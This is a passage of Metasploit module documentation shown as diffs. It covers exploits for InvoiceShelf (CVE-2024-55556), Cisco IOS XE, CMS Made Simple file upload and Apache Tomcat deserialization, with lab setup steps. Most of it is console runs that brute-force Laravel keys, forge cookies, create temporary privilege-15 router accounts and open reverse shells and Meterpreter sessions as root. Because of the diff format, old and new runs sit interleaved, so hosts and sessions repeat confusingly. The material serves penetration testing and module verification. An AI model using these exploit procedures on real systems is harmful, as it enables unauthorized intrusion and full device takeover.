[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.21:54194) at 2025-03-07 17:19:21 +0000
meterpreter > getuid
Server username: www-data
meterpreter > pwd
/var/www/html/InvoiceShelf/public
meterpreter > sysinfo
Computer : 72fe563832ca
OS : Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64
Meterpreter : php/linux
meterpreter >
```
### InvoiceShelf 1.3.0 on Docker - Unix/Linux Command target
Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file.
```msf
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set target 1
target => 1
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/crater.txt
BRUTEFORCE => /root/laravel-crypto-killer/wordlists/crater.txt
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.21:90 can be exploited.
[+] The target appears to be vulnerable. InvoiceShelf 1.3.0
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.
[*] Grabbing the cookies.
[*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/crater.txt.
[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=
[+] Unciphered value: ce0776f8682b66a8407e6a3d62622642ec8fc685|{"data":"a:3:{s:6:\"_token\";s:40:\"Q2zYE5unWqTpdLwFwqgKxBVubiDI95ceLObsbXXV\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454687}
[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY.
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
[*] Command shell session 3 opened (192.168.201.8:4444 -> 192.168.201.21:54229) at 2025-03-07 17:24:53 +0000
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(invoiceshelf)
uname -a
Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64 GNU/Linux
pwd
/var/www/html/InvoiceShelf/public
```
## Limitations
No limitations.
@@ -26,8 +26,12 @@ The vulnerable IOS XE versions are:
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
17.11.99SW
NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even
though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
## Testing
This module was tested against IOS XE version 16.12.3 and version 17.3.2. To test this module you will need to either:
This module was tested against IOS XE version 16.12.3 and version 17.3.2 running on a CSR1000v appliance.
To test this module you will need to either:
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
@@ -86,13 +90,12 @@ This allows for native Linux payloads to be used, but also payloads like Python
### Linux Command (IOS XE 17.3.2)
```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOST 192.168.86.58
RHOST => 192.168.86.58
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.113
RHOSTS => 192.168.86.113
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0
target => 0
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
[+] 192.168.86.58:443 - The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
Module options (exploit/linux/misc/cisco_ios_xe_rce):
@@ -102,7 +105,7 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce):
CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command.
CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.58 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RHOSTS 192.168.86.113 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
@@ -110,103 +113,24 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce):
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME dDrTvTlqxwoK no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'sqVXixoV' with password 'ZiPbsXBu'
[*] Removing user 'sqVXixoV'
[*] Sending stage (3045380 bytes) to 192.168.86.58
[*] Meterpreter session 6 opened (192.168.86.42:4444 -> 192.168.86.58:64970) at 2023-11-06 17:01:06 +0000
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : router
OS : (Linux 4.19.106)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
payload => cmd/linux/http/x64/shell/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'pfGnCwkI' with password 'YhTwxBLK'
[*] Removing user 'pfGnCwkI'
[*] Sending stage (38 bytes) to 192.168.86.58
[*] Command shell session 7 opened (192.168.86.42:4444 -> 192.168.86.58:64994) at 2023-11-06 17:01:44 +0000
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
uname -a
Linux router 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 192.168.86.58 - Command shell session 7 closed.
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
```
### Linux Command (IOS XE 16.12.3)
```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
Module options (exploit/linux/misc/cisco_ios_xe_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command.
CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.59 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
When FETCH_FILELESS is false:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME ytfnShmfT no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
FETCH_FILENAME vsLOEPPqU no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
Exploit target:
@@ -220,108 +144,56 @@ Exploit target:
View the full module info with the info, or info -d command.
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
[+] 192.168.86.59:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[+] 192.168.86.113:443 - The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
[*] Created privilege 15 user 'lwWQIDaS' with password 'dADCGJpS'
[*] Removing user 'lwWQIDaS'
[*] Sending stage (3045380 bytes) to 192.168.86.59
[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.59:56554) at 2023-11-06 16:41:06 +0000
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'vTakCDWG' with password 'RJQHKnKK'
[*] Removing user 'vTakCDWG'
[*] Sending stage (3045380 bytes) to 192.168.86.113
[*] Meterpreter session 5 opened (192.168.86.122:4444 -> 192.168.86.113:56702) at 2025-03-03 20:31:39 +0000
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : router
OS : (Linux 4.19.64)
Computer : testc100v
OS : (Linux 4.19.106)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0
target => 0
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
payload => cmd/linux/http/x64/shell/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
[*] Created privilege 15 user 'NjAmOioM' with password 'tOHjWGyw'
[*] Removing user 'NjAmOioM'
[*] Sending stage (38 bytes) to 192.168.86.59
[*] Command shell session 5 opened (192.168.86.42:4444 -> 192.168.86.59:56598) at 2023-11-06 16:44:48 +0000
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
uname -a
Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 192.168.86.59 - Command shell session 5 closed.
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
```
### Unix Target (IOS XE 17.3.2)
```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
target => 1
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'JAonVuJS' with password 'vYecWhWk'
[*] Removing user 'JAonVuJS'
[*] Sending stage (24772 bytes) to 192.168.86.58
[*] Meterpreter session 8 opened (192.168.86.42:4444 -> 192.168.86.58:65016) at 2023-11-06 17:03:34 +0000
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : router
OS : Linux 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020
Architecture : x64
Meterpreter : python/linux
meterpreter >
```
```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
payload => cmd/linux/http/x64/shell/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'TVtEhbdd' with password 'NtRvujcZ'
[*] Removing user 'TVtEhbdd'
[*] Command shell session 9 opened (192.168.86.42:4444 -> 192.168.86.58:65036) at 2023-11-06 17:04:28 +0000
[*] Created privilege 15 user 'VltpvRrx' with password 'KDJGXORf'
[*] Removing user 'VltpvRrx'
[*] Sending stage (38 bytes) to 192.168.86.113
[*] Command shell session 6 opened (192.168.86.122:4444 -> 192.168.86.113:56736) at 2025-03-03 20:32:52 +0000
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
uname -a
Linux router 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Linux testc100v 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 192.168.86.58 - Command shell session 9 closed.
[*] 192.168.86.113 - Command shell session 6 closed.
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
```
### Unix Target (IOS XE 16.12.3)
### Linux Command (IOS XE 16.12.3)
```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
target => 1
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.114
RHOSTS => 192.168.86.114
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
Module options (exploit/linux/misc/cisco_ios_xe_rce):
@@ -330,7 +202,156 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce):
CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command.
CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.59 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RHOSTS 192.168.86.114 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_FILELESS is false:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_FILENAME UoDekiVI no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
Exploit target:
Id Name
-- ----
0 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
[+] 192.168.86.114:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
[*] Created privilege 15 user 'XpJaBQIt' with password 'qEBrzlDh'
[*] Removing user 'XpJaBQIt'
[*] Sending stage (3045380 bytes) to 192.168.86.114
[*] Meterpreter session 7 opened (192.168.86.122:4444 -> 192.168.86.114:61922) at 2025-03-03 20:34:05 +0000
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : test2_c1000v
OS : (Linux 4.19.64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0
target => 0
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
payload => cmd/linux/http/x64/shell/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
[*] Created privilege 15 user 'vmoCbNcA' with password 'UgDnLaCG'
[*] Removing user 'vmoCbNcA'
[*] Sending stage (38 bytes) to 192.168.86.114
[*] Command shell session 8 opened (192.168.86.122:4444 -> 192.168.86.114:61940) at 2025-03-03 20:34:58 +0000
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
uname -a
Linux test2_c1000v 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 192.168.86.114 - Command shell session 8 closed.
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
```
### Unix Target (IOS XE 17.3.2)
```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.113
RHOSTS => 192.168.86.113
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
target => 1
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'edGjwUsF' with password 'hhOLNNrX'
[*] Removing user 'edGjwUsF'
[*] Sending stage (24772 bytes) to 192.168.86.113
[*] Meterpreter session 9 opened (192.168.86.122:4444 -> 192.168.86.113:56770) at 2025-03-03 20:36:00 +0000
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : testc100v
OS : Linux 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020
Architecture : x64
Meterpreter : python/linux
meterpreter >
```
```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'mXsKBwvG' with password 'gCUirrkj'
[*] Removing user 'mXsKBwvG'
[*] Command shell session 10 opened (192.168.86.122:4444 -> 192.168.86.113:56802) at 2025-03-03 20:36:39 +0000
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
uname -a
Linux testc100v 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 192.168.86.113 - Command shell session 10 closed.
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
```
### Unix Target (IOS XE 16.12.3)
```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.114
RHOSTS => 192.168.86.114
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
target => 1
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
Module options (exploit/linux/misc/cisco_ios_xe_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command.
CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.114 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
@@ -340,7 +361,7 @@ Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
@@ -354,45 +375,43 @@ Exploit target:
View the full module info with the info, or info -d command.
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
[+] 192.168.86.59:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
[+] 192.168.86.114:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
[*] Created privilege 15 user 'pJaWZBTl' with password 'KlcuLPaJ'
[*] Removing user 'pJaWZBTl'
[*] Sending stage (24772 bytes) to 192.168.86.59
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.59:56572) at 2023-11-06 16:42:36 +0000
[*] Created privilege 15 user 'vhQbLuix' with password 'JAjuUVov'
[*] Removing user 'vhQbLuix'
[*] Sending stage (24772 bytes) to 192.168.86.114
[*] Meterpreter session 11 opened (192.168.86.122:4444 -> 192.168.86.114:61966) at 2025-03-03 20:37:36 +0000
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : router
Computer : test2_c1000v
OS : Linux 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019
Architecture : x64
Meterpreter : python/linux
meterpreter >
meterpreter >
```
```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
[*] Created privilege 15 user 'aZIYJugi' with password 'RziZqysr'
[*] Removing user 'aZIYJugi'
[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.59:56584) at 2023-11-06 16:43:30 +0000
[*] Created privilege 15 user 'JJgILIEn' with password 'EkMpGWih'
[*] Removing user 'JJgILIEn'
[*] Command shell session 12 opened (192.168.86.122:4444 -> 192.168.86.114:61982) at 2025-03-03 20:38:16 +0000
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
uname -a
Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
Linux test2_c1000v 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 192.168.86.59 - Command shell session 4 closed.
[*] 192.168.86.114 - Command shell session 12 closed.
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
```
@@ -0,0 +1,104 @@
## Vulnerable Application
CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
with the `.phar` or `.phtml` extensions, enabling execution of PHP code
leading to RCE. The file can be executed by accessing its URL in the
`/uploads/` directory.
## Installation
### Kali Linux 2024.3
Install PHP dependencies:
```
sudo apt install -y php-gd php-mbstring php-intl php-xml php-curl php-zip php-mysql mariadb-server mariadb-client apache2 libapache2-mod-php8.4 unzip wget
```
Start mariadb and apache:
```
sudo systemctl start apache2
sudo systemctl start mariadb
```
Connect to the database:
```
sudo mysql -u root -p
```
Create a database user `msfuser` and a database named `cmsms`:
```
CREATE USER 'msfuser'@'localhost' IDENTIFIED BY 'msfpass';
CREATE DATABASE cmsms;
GRANT ALL PRIVILEGES on cmsms.* TO 'msfuser'@'localhost';
FLUSH PRIVILEGES;
EXIT;
```
Download CMSMadeSimple, extract it and move it to `/var/www/html`:
```
wget https://s3.amazonaws.com/cmsms/downloads/15179/cmsms-2.2.21-install.zip
unzip cmsms-2.2.21-install.zip
sudo mv cmsms-2.2.21-install.php /var/www/html
rm /var/www/html/index.html
```
Set the necessary permissions:
```
sudo chmod 755 -R /var/www/html/
sudo chown www-data:www-data -R /var/www/html/
```
The application should be now available at `http://localhost/cmsms-2.2.21-install.php/`,
navigate there in a browser to complete the setup wizard.
On the tests page, `Testing if we can change INI settings` warning can be ignored.
It will ask you for the database credentials created above, input them and enter `cmsms` for database name.
Once complete, go to `http://localhost/admin/login.php`, you should see an admin login panel.
## Verification Steps
1. Install CMSMadeSimple
2. Start msfconsole
3. Do: `use exploit/multi/http/cmsms_file_manager_auth_rce`
4. Do: `set RHOST [IP]`
5. Do: `set username [username]`
6. Do: `set password [password]`
7. Do: `run`
8. You should get a shell.
## Options
### USERNAME
The username for the CMSMS admin panel. Default is empty string
### PASSWORD
The password for the CMSMS admin panel. Default is empty string
## Scenarios
### CMSMadeSimple v2.2.21 on Kali Linux 2024.3
```
msf6 > use exploit/multi/http/cmsms_file_manager_auth_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > set username admin
username => admin
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > set password password
password => password
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > run
[*] Started reverse TCP handler on 192.168.232.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending stage (40004 bytes) to 192.168.232.128
[*] Meterpreter session 1 opened (192.168.232.128:4444 -> 192.168.232.128:42794) at 2025-03-22 02:53:16 -0400
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : kali
OS : Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64
Meterpreter : php/linux
meterpreter >
```
@@ -0,0 +1,150 @@
## Vulnerable Application
This module exploits a Java deserialization vulnerability in Apache Tomcat's session restoration functionality
that can be exploited with a partial HTTP PUT request to place an attacker controlled deserialization payload in the
<tomcat_root_dir>/webapps/ROOT/ directory. For the exploit to succeed, writes must be enabled for the default servlet,
and `org.apache.catalina.session.PersistentManager` must be configured to use `org.apache.catalina.session.FileStore`.
## Setup
Download Ubuntu Server 24:
`wget https://mirror.0xem.ma/ubuntu-releases/24.04.2/ubuntu-24.04.2-live-server-amd64.iso`
Install ubuntu on your preferred hypervisor, enable SSH during installation. Reboot once installation is complete and SSH into the target.
Download Tomcat and Java:
```
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90.zip
wget https://cdn.azul.com/zulu/bin/zulu8.80.0.17-ca-jdk8.0.422-linux_x64.tar.gz
```
Extract the JDK Archive to the appropriate directory:
```
tar -xvzf zulu8.80.0.17-ca-jdk8.0.422-linux_x64.tar.gz
sudo mkdir -p /opt/java
sudo mv zulu8.80.0.17-ca-jdk8.0.422-linux_x64 /opt/java/zulu8
```
Install `unzip` and extract Tomcat:
```
sudo apt install unzip -y
sudo unzip apache-tomcat-9.0.90.zip -d /opt/
```
Set `CATALINA_HOME` and `JAVA_HOME` also update `PATH` by adding the following to `~/.bashrc`:
```
export CATALINA_HOME=/opt/apache-tomcat-9.0.90
export JAVA_HOME=/opt/java/zulu8
export PATH=$JAVA_HOME/bin:$PATH
```
Apply changes:
```
source ~/.bashrc
```
Change Tomcat permissions:
```
